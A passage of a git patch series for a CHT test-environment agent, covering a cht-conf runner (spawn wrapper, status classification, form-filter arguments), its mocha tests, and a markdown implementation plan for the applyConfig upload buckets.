+      expect(childEnv).to.not.have.property('ANTHROPIC_API_KEY');
+      expect(childEnv).to.have.property('PATH');
+      if (prior === undefined) {
+        delete process.env.ANTHROPIC_API_KEY;
+      } else {
+        process.env.ANTHROPIC_API_KEY = prior;
+      }
+    });
+
+    it('resolves skipped on cht-conf\'s real "not uploaded, no changes" line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml not uploaded, no changes'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+    });
+
+    it('kills the process and resolves failed when the bucket times out', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      // Tiny timeout, and the fake proc never emits 'close' → the timer fires.
+      const result = await runBucket(baseOpts({ timeoutMs: 5 }));
+
+      expect(proc.kill.calledWith('SIGTERM')).to.equal(true);
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('timed out');
+    });
+
+    it('resolves failed on a non-zero exit', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from('boom'));
+      proc.emit('close', 2);
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+    });
+
+    it('resolves failed (not throws) when the process fails to start', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.emit('error', new Error('ENOENT'));
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('failed to start');
+    });
+
+    it('warns and ignores artifact targeting for non-form buckets', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'app-settings', artifact: 'pregnancy' }));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.warnings.join(' ')).to.include('artifact targeting ignored');
+    });
+  });
+});

From 4dfface98186a9a4c4005e57b54978afee4bca2f Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Wed, 1 Jul 2026 19:00:43 -0600
Subject: [PATCH 06/24] docs(#66): phase 2 implementation handoff and phase 3
 scope

---
 .../66-phase2-applyconfig-implementation.md   | 120 ++++++++++++++++++
 1 file changed, 120 insertions(+)
 create mode 100644 docs/handoffs/66-phase2-applyconfig-implementation.md

diff --git a/docs/handoffs/66-phase2-applyconfig-implementation.md b/docs/handoffs/66-phase2-applyconfig-implementation.md
new file mode 100644
index 00000000..ff2cd7d1
--- /dev/null
+++ b/docs/handoffs/66-phase2-applyconfig-implementation.md
@@ -0,0 +1,120 @@
+# #66 Phase 2 — real `applyConfig` implementation plan
+
+> Phase 1 (provision/reset/teardown real paths) + the Phase-2 *shape* (action selector,
+> `ConfigApplyResult`, `ConfigActionStatus`) already landed (`f954cb9`). This plan fills the
+> `applyConfig` `!useMockDocker` branch that currently throws `NOT_IMPLEMENTED`. Same
+> human-gated, no-Docker invariants as Phase 1. This is the artifact-upload half of the
+> cht-conf validate loop (#134 PR5 step 4); test-data seeding (`prepareTestData`) is Phase 3.
+
+## 0. Verified contract (cht-conf CLI — `medic/cht-conf` wiki, 2026-06-27)
+
+- **Binary:** `cht` (cht-conf is baked into the agent image globally per #114; agent
+  allow-list already sanctions `Bash(cht:*)`). Invoke via `child_process` (recommendation
+  doc lists every config verb as `child_process` — this is NOT Docker, so it's allowed).
+- **Instance target:** `cht --url=<url> <action> [<action>…]` where `<url>` embeds creds,
+  e.g. `https://medic:password@nginx`. `--source=<path>` points at the project dir (the
+  mounted `CHT_CONF_PATH`, or cht-core's in-repo `config/default`). Named actions run in the
+  given order (doc example: `cht --instance=example validate-app-forms upload-app-forms`).
+- **MUST pass for autonomous use (cht-conf prompts on stdin otherwise → the agent hangs):**
+  - `--force` — skip ALL confirmation prompts (incl. the "both changed → view diff / overwrite
+    / abort" form-conflict prompt and check-git's keyInYN). Doc labels it "DANGEROUS"; for a
+    throwaway test instance it's correct.
+  - `--skip-git-check` (we're on a local branch with a hardened RO .git/config), `--skip-version-check`,
+    `--skip-dependency-check`, `--skip-translation-check`.
+  - `--accept-self-signed-certs` — the env is `https://nginx` with a self-signed cert.
+  - Consider `--verbose` so stdout carries per-form "skip (no changes)" / "uploaded" lines we
+    classify on (see status mapping). Do NOT pass `--silent` (we need the lines).
+- **Status semantics (confirmed, drives `ConfigActionStatus`):** upload verbs do hash-based
+  change detection. "If local and remote versions are identical → **skip (no changes)**";
+  "both changed → prompt" (suppressed by `--force` → overwrite = uploaded). cht-conf exits 0
+  for both upload and skip, so **`skipped` vs `uploaded` is parsed from stdout, not exit code**;
+  **`failed` = non-zero exit** (or a thrown spawn error). Exit code alone is insufficient.
+- **Form targeting (`artifact` field):** `args-form-filter` restricts an upload to named forms
+  via positional args after the action — `cht … upload-app-forms <formId>` (e.g. `pregnancy`).
+  Maps `ApplyConfigOptions.artifact` → the positional form filter on the `app-forms` /
+  `contact-forms` buckets. (No-op for `app-settings`/`resources`; document that.)
+- **Bucket → verb mapping (already in `CONFIG_ACTION_COMMANDS`, verified against the doc):**
+  - `app-settings`  → `compile-app-settings`, `upload-app-settings`
+  - `app-forms`     → `convert-app-forms`, `upload-app-forms`   (+ optional `validate-app-forms`)
+  - `contact-forms` → `convert-contact-forms`, `upload-contact-forms`
+  - `resources`     → `upload-resources`, `upload-branding`, `upload-custom-translations`
+
+## 1. Design decisions to lock before coding
+
+1. **One `cht` invocation per bucket, not per verb.** Pass the bucket's verbs as ordered
+   actions in a single `cht --url=… --source=… <verb1> <verb2> …` call. Rationale: cht-conf
+   runs named actions in sequence in one process; per-verb spawns would re-pay startup and
+   lose the convert→upload ordering guarantee. `ConfigActionResult.commands` already records
+   the verb list for evidence.
+2. **No `--force` blast radius beyond the bucket.** `--force` is scoped to the single bucket
+   invocation; we still run buckets independently so one bucket's failure doesn't abort the
+   rest (collect per-bucket status, set top-level `succeeded = no bucket failed`).
+3. **`artifact` targeting only applies to form buckets.** When `artifact` is set and the
+   bucket is `app-forms`/`contact-forms`, append it as the positional form filter to the
+   `upload-*-forms` verb (and the matching `convert`). For `app-settings`/`resources`, ignore
+   it and emit a warning into `ConfigActionResult.warnings` ("artifact targeting ignored for
+   <bucket>").
+4. **Credentials come from the handle, never logged.** Build the URL from
+   `handle.url` + `handle.auth` → `https://<user>:<pass>@<host>`. **Redact creds in every
+   log line** (log `handle.url`, never the cred-embedded URL). Mirrors the sandbox stance.
+5. **Status parsing is a small pure helper** (`classifyChtConfOutput(stdout, exitCode)`),
+   unit-tested in isolation against captured cht-conf output fixtures — don't bury the regex
+   in the spawn callback. `failed` if exit≠0; else `skipped` if every form line says skipped
+   / "no changes" and nothing uploaded; else `uploaded`.
+6. **Timeout + no shell.** Use `spawn(executablePath, args, { shell: false })` like
+   `src/llm/providers/claude-cli.ts` (explicit arg array, no string interpolation into a
+   shell → no injection via `artifact`/`configPath`). Bound each bucket with a generous
+   timeout (form conversion + upload can take a minute); kill + mark `failed` on timeout.
+7. **Where the binary lives.** Resolve `cht` from PATH (image installs it globally). Add a
+   `chtConfBin` override (constructor option or env `CHT_CONF_BIN`) for tests/local runs,
+   defaulting to `'cht'` — lets the spec stub a fake script without a global install.
+
+## 2. Files to touch
+
+- `src/utils/cht-conf-runner.ts` *(new)* — the spawn wrapper + `classifyChtConfOutput`.
+  Keep ALL `child_process` here (mirrors how `cht-readiness.ts` isolates `fetch`); the agent
+  stays orchestration-only. Exports `runBucket(opts): Promise<ConfigActionResult>`.
+- `src/agents/test-environment-agent.ts` — replace the `applyConfig` real-path throw with a
+  loop over `actions` calling `runBucket`, aggregating into `ConfigApplyResult`. Build the
+  cred URL here from the handle. Keep mock path untouched.
+- `src/types/index.ts` — likely no change (shape already baked). Maybe add a
+  `ChtConfRunOptions` interface for the runner.
+- `test/utils/cht-conf-runner.spec.ts` *(new)* — unit-test `classifyChtConfOutput` against
+  fixtures (uploaded / skipped / failed / mixed) and `runBucket` with a **stubbed spawn**
+  (fake `cht` script or sinon stub on the runner's spawn) → assert args (incl. the
+  autonomous-safe flags, cred URL, positional artifact), status mapping, timeout → failed.
+- `test/agents/test-environment-agent.spec.ts` — add real-mode `applyConfig` tests that stub
+  the runner (NOT spawn) → assert it builds the cred URL from the handle, calls `runBucket`
+  per action, aggregates `succeeded`/`warnings`, and that a failed bucket flips top-level
+  `succeeded:false` without aborting the others. **Keep the existing "throws" test only until
+  the real path lands, then replace it** (it currently asserts NOT_IMPLEMENTED).
+
+## 3. Conventions (same as Phase 1 — SonarCloud gate)
+
+- No `any` in `src/`; `strict` + `noUnusedParameters` (prefix unused with `_`).
+- Every test ≥1 assertion; no nested template literals (extract to a local first).
+- `[Test Environment Agent]` / `[cht-conf]` console prefixes; redact creds.
+- Node 22 to build/test (`~/.nvm/versions/node/v22.18.0/bin`).
+- Agent + spec land together; user drives all git; no `git add .`.
+
+## 4. Manual test (closed loop, needs the imported sandbox + a running env)
+
+1. Human brings up CHT (`scripts/test-env-up.sh <cht-core>`); agent `provision()` (real) waits ready.
+2. `applyConfig(handle, { configPath: '<CHT_CONF_PATH>', actions: ['app-forms'], artifact: 'pregnancy' })`
+   → confirm it runs `cht --url=… --source=… convert-app-forms upload-app-forms pregnancy`
+   with the autonomous-safe flags, and the report shows `status: uploaded`.
+3. Re-run unchanged → `status: skipped` (hash no-change). Break the form → `status: failed`.
+4. Confirm NO stdin prompt ever blocks (the `--force`/`--skip-*` set holds) and no push.
+
+## 5. Dependency / sequencing notes
+
+- §7.4 of `designs/cht-conf-agent-extension.md`: the env image must carry the **xlsx→XForm
+  toolchain** for `convert-app-forms`. #114 Dockerfile bakes `cht-conf` + `python3` (cht-conf
+  bundles medic-pyxform on install) — **verify `convert-app-forms` actually runs in-image**
+  before claiming the loop works; if pyxform is missing, that's a Dockerfile follow-up on #114.
+- This is the upload half; the cht-conf validate loop also needs `prepareTestData` (Phase 3:
+  `csv-to-docs` + `upload-docs` / `create-users`) and `reset('couchdb')`. PR5's full loop is
+  gated on Phase 3 too — applyConfig alone proves "fix uploads", not "symptom reproduced".
+- `discoverConfig` real path (read `/api/v1/settings`, parse into `DiscoveredConfig`) is a
+  natural companion to land in the same phase — it's pure `fetch`, no cht-conf, and the
+  apply→verify step re-reads settings to confirm the change took.

From 485e6725ec26773853fd52c0f6dec354e2448190 Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 01:26:09 +0000
Subject: [PATCH 07/24] =?UTF-8?q?feat(#66):=20phase-2=20parity=20uplift=20?=
 =?UTF-8?q?=E2=80=94=20cht-conf=20runner=20to=20workbench=20parity=20minus?=
 =?UTF-8?q?=20excisions?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Bring the Phase-2 cht-conf runner up to the workbench lineage's shape (the
port source of truth), excising the cht-conf-extension-only pieces so this
PR stays test-environment-layer scoped.

Parity uplift (from the workbench src/utils/cht-conf-runner.ts):
- Split the spawn wrapper into two layers: runChtConf() runs one `cht`
  process for an ordered verb list and returns the raw ChtConfExecResult;
  runBucket() wraps it for the config-upload buckets and classifies the
  status. The generic layer is what the Phase-3 test-data verbs reuse.
- resolveChtConfBin() adds the CHT_CONF_BIN seam so the agent can run a
  deployment-pinned cht-conf instead of the image's global `cht`.
- Add the `app-settings-only` bucket (upload-app-settings, no compile) for
  a pre-compiled, deployment-recovered app_settings.json.
- Artifact form-filter now rides after a literal `--` separator (cht-conf
  reads only cmdArgs['--'] into args-form-filter; a bare positional throws
  "Unsupported action(s)").
- minimalEnv() env allow-list and per-line skip-first classification
  preserved.

Excisions (cht-conf-extension, deferred to that PR):
- No offline-convert block (runOfflineConvert, createConvertSandbox,
  CONVERT_VERBS, SANDBOX_EXCLUDES, OfflineConvertOptions).
- No skipValidate handling; ChtConfExecOptions.instanceUrl is REQUIRED
  (offline URL-less convert was the only caller that omitted it).

Also fix the stale agent header comment (applyConfig is implemented now).
Types add ChtConfExecOptions/ChtConfExecResult and the app-settings-only
union member. Runner spec ported to parity minus the offline-convert
describes.

1045 tests pass, build + lint clean (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 src/agents/test-environment-agent.ts |   6 +-
 src/types/index.ts                   |  66 ++++++++++-
 src/utils/cht-conf-runner.ts         | 149 ++++++++++++++++++------
 test/utils/cht-conf-runner.spec.ts   | 165 ++++++++++++++++++++++++++-
 4 files changed, 334 insertions(+), 52 deletions(-)

diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index d405f06f..a55c0ea9 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -4,9 +4,9 @@
  * Deterministic provisioning orchestrator for the Test Environment Layer
  * (QA Supervisor). It provisions a live CHT instance, applies a config,
  * discovers the deployed config, and seeds conforming test data. No LLM is
- * involved. provision()'s real path (human-gated bring-up + readiness polling)
- * is implemented; applyConfig/discoverConfig/prepareTestData/reset/teardown
- * real paths are not yet implemented (later #66 phases).
+ * involved. Real paths implemented: provision (human-gated bring-up + readiness
+ * polling) and applyConfig (cht-conf upload buckets). discoverConfig /
+ * prepareTestData / the couchdb-tier reset real paths land in #66 phase 3.
  *
  * See: designs/layer_recommendations/test-environment-layer.md
  */
diff --git a/src/types/index.ts b/src/types/index.ts
index 1dab1e15..85e871cb 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -778,12 +778,21 @@ export interface DiscoveredConfig {
  * A bucket of cht-conf upload work, mapping to the underlying cht-conf verbs
  * (see designs/cht-conf-agent-extension.md §7.2 step 4). The agent drives these
  * over HTTP against the instance; it never edits the config itself.
- * - `app-settings`   compile-app-settings + upload-app-settings
- * - `app-forms`      convert-app-forms + upload-app-forms
- * - `contact-forms`  convert-contact-forms + upload-contact-forms
- * - `resources`      upload-resources + upload-branding + upload-custom-translations
- */
-export type ConfigUploadAction = 'app-settings' | 'app-forms' | 'contact-forms' | 'resources';
+ * - `app-settings`      compile-app-settings + upload-app-settings
+ * - `app-settings-only` upload-app-settings (NO compile) — for a deployment-
+ *                       recovered, pre-compiled app_settings.json where
+ *                       recompiling would clobber the minified contact-summary /
+ *                       tasks / targets
+ * - `app-forms`         convert-app-forms + upload-app-forms
+ * - `contact-forms`     convert-contact-forms + upload-contact-forms
+ * - `resources`         upload-resources + upload-branding + upload-custom-translations
+ */
+export type ConfigUploadAction =
+  | 'app-settings'
+  | 'app-settings-only'
+  | 'app-forms'
+  | 'contact-forms'
+  | 'resources';
 
 /**
  * Inputs to applyConfig. `configPath` defaults to cht-core's in-repo
@@ -859,6 +868,51 @@ export interface ChtConfRunOptions {
   timeoutMs?: number;
 }
 
+/**
+ * Inputs to a generic cht-conf invocation (the low-level runner under
+ * runBucket, also driving the test-data verbs csv-to-docs / upload-docs /
+ * create-users). Verbs run in order inside ONE `cht` process.
+ */
+export interface ChtConfExecOptions {
+  /** cht-conf actions to run, in order (e.g. ['csv-to-docs', 'upload-docs']). */
+  verbs: string[];
+  /** The instance URL WITH embedded credentials (https://user:pass@host). */
+  instanceUrl: string;
+  /** Project folder passed to cht-conf `--source`. */
+  configPath: string;
+  /** Positional args appended after the verbs (e.g. a form filter). */
+  extraArgs?: string[];
+  /**
+   * Working directory for the spawned process. cht-conf writes report files
+   * (upload-docs.<ts>.log.json) into its cwd, so data runs point this at the
+   * data project to keep droppings out of the repo. Defaults to the agent cwd.
+   */
+  cwd?: string;
+  /** Log label ("[cht-conf] <label> ..."); defaults to the joined verbs. */
+  logLabel?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Timeout in ms before the process is killed. */
+  timeoutMs?: number;
+}
+
+/**
+ * Raw outcome of a generic cht-conf invocation. Never a rejection — spawn
+ * errors and timeouts are folded in so callers can aggregate without
+ * per-invocation try/catch. Callers interpret `output` (cht-conf logs
+ * everything to stdout) with the parsers in src/utils/test-data.ts.
+ */
+export interface ChtConfExecResult {
+  /** Process exit code; null when it never exited cleanly (killed / not started). */
+  exitCode: number | null;
+  /** Interleaved stdout+stderr of the run. */
+  output: string;
+  /** True when the run was killed by the timeout. */
+  timedOut: boolean;
+  /** Set when the process could not be spawned at all (e.g. binary missing). */
+  startError?: string;
+}
+
 /**
  * Tuning for readiness polling (see src/utils/cht-readiness.ts)
  */
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
index ddf45706..1fd09c49 100644
--- a/src/utils/cht-conf-runner.ts
+++ b/src/utils/cht-conf-runner.ts
@@ -7,8 +7,11 @@
  * over HTTP, so spawning it is allowed (and the sandbox allow-list sanctions
  * `Bash(cht:*)`).
  *
- * One invocation per upload bucket: the bucket's verbs are passed as ordered
- * actions in a single `cht` process (cht-conf runs named actions in sequence).
+ * Two layers: runChtConf spawns one `cht` process for an ordered verb list
+ * (cht-conf runs named actions in sequence) and reports the raw outcome;
+ * runBucket wraps it for the config upload buckets, classifying stdout into
+ * uploaded/skipped/failed. The test-data verbs (csv-to-docs, upload-docs,
+ * create-users) drive runChtConf directly.
  *
  * See: designs/layer_recommendations/test-environment-layer.md,
  *      designs/cht-conf-agent-extension.md §7.2,
@@ -16,7 +19,14 @@
  */
 
 import { spawn } from 'node:child_process';
-import { ChtConfRunOptions, ConfigActionResult, ConfigActionStatus, ConfigUploadAction } from '../types';
+import {
+  ChtConfExecOptions,
+  ChtConfExecResult,
+  ChtConfRunOptions,
+  ConfigActionResult,
+  ConfigActionStatus,
+  ConfigUploadAction,
+} from '../types';
 
 /**
  * The cht-conf verbs each upload bucket runs, in order. Single source of truth
@@ -24,6 +34,10 @@ import { ChtConfRunOptions, ConfigActionResult, ConfigActionStatus, ConfigUpload
  */
 export const CONFIG_ACTION_COMMANDS: Record<ConfigUploadAction, string[]> = {
   'app-settings': ['compile-app-settings', 'upload-app-settings'],
+  // Upload a pre-compiled app_settings.json verbatim, skipping compile — the
+  // path for a deployment recovered via `backup-app-settings` (recompiling from
+  // a source tree you do not have would clobber contact-summary/tasks/targets).
+  'app-settings-only': ['upload-app-settings'],
   'app-forms': ['convert-app-forms', 'upload-app-forms'],
   'contact-forms': ['convert-contact-forms', 'upload-contact-forms'],
   resources: ['upload-resources', 'upload-branding', 'upload-custom-translations'],
@@ -45,9 +59,17 @@ const AUTONOMOUS_FLAGS = [
   '--verbose',
 ];
 
-const DEFAULT_BIN = 'cht';
 const DEFAULT_TIMEOUT_MS = 180_000;
 
+/**
+ * The cht-conf binary to spawn. Overridable via CHT_CONF_BIN so the agent can run
+ * a deployment's OWN pinned cht-conf — e.g. a throwaway
+ * `<config>/node_modules/.bin/cht` that `npm ci` installed into the mounted
+ * config repo — instead of the image's global `cht`, matching the version the
+ * config was authored/compiled with. A per-call `options.bin` still wins.
+ */
+export const resolveChtConfBin = (): string => process.env.CHT_CONF_BIN || 'cht';
+
 /** Buckets whose verbs accept a positional single-form filter. */
 const FORM_BUCKETS: ConfigUploadAction[] = ['app-forms', 'contact-forms'];
 
@@ -71,18 +93,35 @@ const minimalEnv = (): NodeJS.ProcessEnv => {
   return env;
 };
 
+/**
+ * The full cht-conf argv for a generic invocation (url, source, safe flags,
+ * verbs). Extra args ride AFTER a literal `--` separator: cht-conf's main.js
+ * treats every bare positional as an action name and throws
+ * "Unsupported action(s)" otherwise — only `cmdArgs['--']` reaches
+ * environment.extraArgs (which is what args-form-filter reads).
+ */
+const buildExecArgs = (options: ChtConfExecOptions): string[] => [
+  `--url=${options.instanceUrl}`,
+  `--source=${options.configPath}`,
+  ...AUTONOMOUS_FLAGS,
+  ...options.verbs,
+  ...(options.extraArgs?.length ? ['--', ...options.extraArgs] : []),
+];
+
 /**
  * Build the cht-conf argv for a bucket (no credentials are logged; the URL with
  * embedded creds lives only in the argv passed to spawn). Exported for testing.
  */
 export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
-  const verbs = CONFIG_ACTION_COMMANDS[options.action];
-  const args = [`--url=${options.instanceUrl}`, `--source=${options.configPath}`, ...AUTONOMOUS_FLAGS, ...verbs];
-  // A single-form filter is a positional arg consumed by the form-upload verbs.
-  if (options.artifact && FORM_BUCKETS.includes(options.action)) {
-    args.push(options.artifact);
-  }
-  return args;
+  // A single-form filter is a `--`-separated extra arg consumed by the
+  // form verbs (cht-conf's args-form-filter reads environment.extraArgs).
+  const formFilter = options.artifact && FORM_BUCKETS.includes(options.action) ? [options.artifact] : [];
+  return buildExecArgs({
+    verbs: CONFIG_ACTION_COMMANDS[options.action],
+    instanceUrl: options.instanceUrl,
+    configPath: options.configPath,
+    extraArgs: formFilter,
+  });
 };
 
 // cht-conf logs a "no changes" line per artifact when its hash matches the
@@ -116,61 +155,95 @@ export const classifyChtConfOutput = (output: string, exitCode: number | null):
 };
 
 /**
- * Run one cht-conf upload bucket against the instance. Resolves with the
- * per-bucket result (never rejects — a non-zero exit or spawn error becomes
- * `status: 'failed'` so the caller can aggregate without try/catch per bucket).
+ * Run one `cht` process for an ordered verb list. Resolves with the raw
+ * outcome (never rejects — spawn errors and timeouts are folded into the
+ * result so callers can aggregate without try/catch per invocation).
  */
-export const runBucket = (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
-  const bin = options.bin ?? DEFAULT_BIN;
+export const runChtConf = (options: ChtConfExecOptions): Promise<ChtConfExecResult> => {
+  const bin = options.bin ?? resolveChtConfBin();
   const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
-  const verbs = CONFIG_ACTION_COMMANDS[options.action];
-  const args = buildChtConfArgs(options);
-  const warnings: string[] = [];
-
-  if (options.artifact && !FORM_BUCKETS.includes(options.action)) {
-    warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
-  }
+  const args = buildExecArgs(options);
 
   // Log the verbs, never the cred-embedded URL.
-  console.log(`[cht-conf] ${options.action}: ${verbs.join(' ')} (--source=${options.configPath})`);
+  const label = options.logLabel ?? options.verbs.join(' ');
+  console.log(`[cht-conf] ${label} (--source=${options.configPath})`);
 
   return new Promise((resolve) => {
-    const result = (status: ConfigActionStatus): ConfigActionResult => ({
-      action: options.action,
-      status,
-      commands: [...verbs],
-      warnings: [...warnings],
+    const proc = spawn(bin, args, {
+      env: minimalEnv(),
+      stdio: ['ignore', 'pipe', 'pipe'],
+      ...(options.cwd !== undefined ? { cwd: options.cwd } : {}),
     });
-
-    const proc = spawn(bin, args, { env: minimalEnv(), stdio: ['ignore', 'pipe', 'pipe'] });
     const chunks: string[] = [];
     let settled = false;
 
-    const finish = (status: ConfigActionStatus): void => {
+    const finish = (result: Omit<ChtConfExecResult, 'output'>): void => {
       if (settled) {
         return;
       }
       settled = true;
       clearTimeout(timeoutId);
-      resolve(result(status));
+      resolve({ ...result, output: chunks.join('') });
     };
 
     const timeoutId = setTimeout(() => {
       proc.kill('SIGTERM');
-      warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
-      finish('failed');
+      finish({ exitCode: null, timedOut: true });
     }, timeoutMs);
 
     proc.stdout?.on('data', (data) => chunks.push(data.toString()));
     proc.stderr?.on('data', (data) => chunks.push(data.toString()));
 
     proc.on('error', (error) => {
-      warnings.push(`cht-conf ${options.action} failed to start: ${error.message}`);
-      finish('failed');
+      finish({ exitCode: null, timedOut: false, startError: error.message });
     });
 
     proc.on('close', (code) => {
-      finish(classifyChtConfOutput(chunks.join(''), code));
+      finish({ exitCode: code, timedOut: false });
     });
   });
 };
+
+/**
+ * Run one cht-conf upload bucket against the instance. Resolves with the
+ * per-bucket result (never rejects — a non-zero exit or spawn error becomes
+ * `status: 'failed'` so the caller can aggregate without try/catch per bucket).
+ */
+export const runBucket = async (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
+  const warnings: string[] = [];
+
+  if (options.artifact && !FORM_BUCKETS.includes(options.action)) {
+    warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
+  }
+  const formFilter = options.artifact && FORM_BUCKETS.includes(options.action) ? [options.artifact] : [];
+
+  const run = await runChtConf({
+    verbs,
+    instanceUrl: options.instanceUrl,
+    configPath: options.configPath,
+    extraArgs: formFilter,
+    logLabel: `${options.action}: ${verbs.join(' ')}`,
+    bin: options.bin,
+    timeoutMs: options.timeoutMs,
+  });
+
+  let status: ConfigActionStatus;
+  if (run.timedOut) {
+    const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
+    warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
+    status = 'failed';
+  } else if (run.startError !== undefined) {
+    warnings.push(`cht-conf ${options.action} failed to start: ${run.startError}`);
+    status = 'failed';
+  } else {
+    status = classifyChtConfOutput(run.output, run.exitCode);
+  }
+
+  return {
+    action: options.action,
+    status,
+    commands: [...verbs],
+    warnings,
+  };
+};
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index eec925a3..37696853 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -1,8 +1,13 @@
 import { expect } from 'chai';
 import * as sinon from 'sinon';
 import { EventEmitter } from 'node:events';
-import { buildChtConfArgs, classifyChtConfOutput } from '../../src/utils/cht-conf-runner';
-import { ChtConfRunOptions, ConfigActionResult } from '../../src/types';
+import {
+  buildChtConfArgs,
+  classifyChtConfOutput,
+  CONFIG_ACTION_COMMANDS,
+  resolveChtConfBin,
+} from '../../src/utils/cht-conf-runner';
+import { ChtConfExecOptions, ChtConfExecResult, ChtConfRunOptions, ConfigActionResult } from '../../src/types';
 
 // eslint-disable-next-line @typescript-eslint/no-var-requires
 const proxyquire = require('proxyquire').noCallThru();
@@ -39,7 +44,11 @@ const loadRunner = (proc: EventEmitter) => {
   const mod = proxyquire('../../src/utils/cht-conf-runner', {
     'node:child_process': { spawn: spawnStub },
   });
-  return { runBucket: mod.runBucket as (o: ChtConfRunOptions) => Promise<ConfigActionResult>, spawnLog };
+  return {
+    runBucket: mod.runBucket as (o: ChtConfRunOptions) => Promise<ConfigActionResult>,
+    runChtConf: mod.runChtConf as (o: ChtConfExecOptions) => Promise<ChtConfExecResult>,
+    spawnLog,
+  };
 };
 
 describe('cht-conf-runner', () => {
@@ -55,10 +64,18 @@ describe('cht-conf-runner', () => {
       expect(args).to.include('upload-app-forms');
     });
 
-    it('appends the artifact as a positional filter for form buckets', () => {
+    it('appends the artifact as a `--`-separated form filter for form buckets', () => {
       const args = buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
 
-      expect(args[args.length - 1]).to.equal('pregnancy');
+      // main.js rejects bare positionals as unsupported actions; only
+      // `-- <arg>` reaches environment.extraArgs / args-form-filter.
+      expect(args.slice(-2)).to.deep.equal(['--', 'pregnancy']);
+    });
+
+    it('does not emit a dangling `--` separator when there is no artifact', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-forms' }));
+
+      expect(args).to.not.include('--');
     });
 
     it('does not append the artifact for non-form buckets', () => {
@@ -66,6 +83,31 @@ describe('cht-conf-runner', () => {
 
       expect(args).to.not.include('pregnancy');
     });
+
+    it('app-settings-only uploads without compiling (pre-compiled deployment recovery)', () => {
+      expect(CONFIG_ACTION_COMMANDS['app-settings-only']).to.deep.equal(['upload-app-settings']);
+      const args = buildChtConfArgs(baseOpts({ action: 'app-settings-only' }));
+      expect(args).to.include('upload-app-settings');
+      expect(args).to.not.include('compile-app-settings');
+    });
+  });
+
+  describe('resolveChtConfBin', () => {
+    let saved: string | undefined;
+    beforeEach(() => { saved = process.env.CHT_CONF_BIN; });
+    afterEach(() => {
+      if (saved === undefined) { delete process.env.CHT_CONF_BIN; } else { process.env.CHT_CONF_BIN = saved; }
+    });
+
+    it('defaults to the global cht binary', () => {
+      delete process.env.CHT_CONF_BIN;
+      expect(resolveChtConfBin()).to.equal('cht');
+    });
+
+    it('honours CHT_CONF_BIN so the agent can run a deployment-pinned cht-conf from a full path', () => {
+      process.env.CHT_CONF_BIN = '/workspace/site-config-test/node_modules/.bin/cht';
+      expect(resolveChtConfBin()).to.equal('/workspace/site-config-test/node_modules/.bin/cht');
+    });
   });
 
   describe('classifyChtConfOutput', () => {
@@ -116,6 +158,119 @@ describe('cht-conf-runner', () => {
     });
   });
 
+  describe('runChtConf', () => {
+    const execOpts = (overrides: Partial<ChtConfExecOptions> = {}): ChtConfExecOptions => ({
+      verbs: ['csv-to-docs', 'upload-docs'],
+      instanceUrl: 'https://medic:password@nginx/',
+      configPath: '/mnt/data',
+      ...overrides,
+    });
+
+    afterEach(() => {
+      sinon.restore();
+    });
+
+    it('spawns the verbs in order after the url, source, and autonomous-safe flags', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ extraArgs: ['pregnancy'] }));
+      proc.emit('close', 0);
+      await promise;
+
+      const args = spawnLog[0].args;
+      expect(args[0]).to.equal('--url=https://medic:password@nginx/');
+      expect(args[1]).to.equal('--source=/mnt/data');
+      expect(args).to.include('--force');
+      // Verbs run in the given order; extras ride after the `--` separator
+      // (a bare positional would make cht-conf throw "Unsupported action(s)").
+      expect(args.slice(-4)).to.deep.equal(['csv-to-docs', 'upload-docs', '--', 'pregnancy']);
+    });
+
+    it('passes the cwd through so cht-conf report files land in the data project', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ cwd: '/mnt/data' }));
+      proc.emit('close', 0);
+      await promise;
